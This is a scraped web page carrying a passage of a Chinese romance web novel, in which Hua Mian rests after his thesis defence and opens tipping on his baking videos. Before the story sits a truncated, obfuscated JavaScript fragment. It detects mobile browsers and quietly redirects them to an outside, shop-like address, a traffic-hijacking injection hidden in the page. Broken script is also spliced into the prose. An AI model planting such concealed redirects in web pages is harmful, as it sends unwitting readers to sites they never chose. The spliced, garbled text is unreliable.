d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128461|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他一矮身坐进车里,揉了揉花眠的头发,连不允许别人在他车上吃东西的规矩都抛到脑后了,只说:“慢点吃,喜欢吃下次再买。” 花眠见状又把麻薯掏了出来,心满意足地吃完了。 * 相爱的这几年,花眠不仅精神变好了,连心理情况都变好了。 现在,他对于钟意,对于过去那些人、那些事,远不再像起初那样在意,再见到他们,只觉得是路边遇到的无能狂怒的恶狗一般,过去了就算了。 那天晚上,他躺在段泽洲的肩膀上,挨着他小声抱怨着今天答辩时的种种,好像已经全然不记得下午还遇到了一个极其讨厌的人。 段泽洲搂着他的腰,时而顺着他的话附和一下对老师的抱怨,时而也要为老师辩解一下:“人家这个问题问得很对啊,很合理。” 花眠扁着嘴,小声狡辩:“……我觉得是在难为我。” 段老师摸了摸他的小脑瓜:“好了好了,乖,反正都结束了。” 花眠偷笑了一声,又想起先前反复改论文的痛苦,小声哀嚎道:“终于从段老师的魔爪里逃脱出来了。” 段泽洲掐他脸。 睡前,两人还说了点别的事。 同学们都在找工作,花眠……也试着投了几个简历,但都没有后续。 一来他对所在的这个专业实在不感兴趣,二来……其实他根本没有想好未来要做什么工作。 关于花眠的工作,段泽洲想过,两个人也商量过。 段泽洲的意思是,花眠身体底子不好,不希望他做一些太累太辛苦的工作,哪怕维持现状也完全没关系。 这一点……花眠也是这样想的。 他仍然不愿意和陌生人有太多接触,只想像现在这样做些自己喜欢的点心。 但一直不赚钱是不行的! 于是花眠想过要去小区里某位邻居的私房烘焙帮忙。 段泽洲说:“没有食品安全许可,一举报一个准儿。” 花眠:“……” 谈来谈去,一直没有更好的选择。 花眠琢磨了一会儿,把自己在视频平台上的打赏功能打开了。 他想,哪怕每天只进账个一块两块也是好的。 但没想到的是,他这个小小的账号,运营得竟然意外地不错。 有些粉丝感慨说,花眠的审美和剪辑都做得很好,一看就是真的花了心思在做,很早以前就想打赏,奈何一直没有开赞赏。 花眠回复道:【平时也没别的事情,会花点时间好好弄一下^ ^】 还有一些人会建议他干脆全职做这个。 花眠有些为难地回复道:【想过。可有时还是觉得应该去看看外面的世界,见见外面的人。】 被回复到的人大概是遭受过生活毒打的可怜社畜:【然后发现外面风也大雨也大[跳个楼放松下.jpg]】 花眠捂脸笑了。 也有人建议他自己开个小规模的烘焙,卖给小区里的邻居和熟人。 花眠想了一下,没有回复段泽洲那句“一举报一个准儿”,换了个不知是更好还是更不好的回答:【不行哦,我晚上要回来给我男朋友做饭,没办法看店呢。】 很诡异的是,他回复完这句话之后,就再也没有人回复他了。 花眠抠抠脑袋,又等了一会儿,见大家欢天喜地地讨论起这次视频的内容,便关掉了页面,没再回复。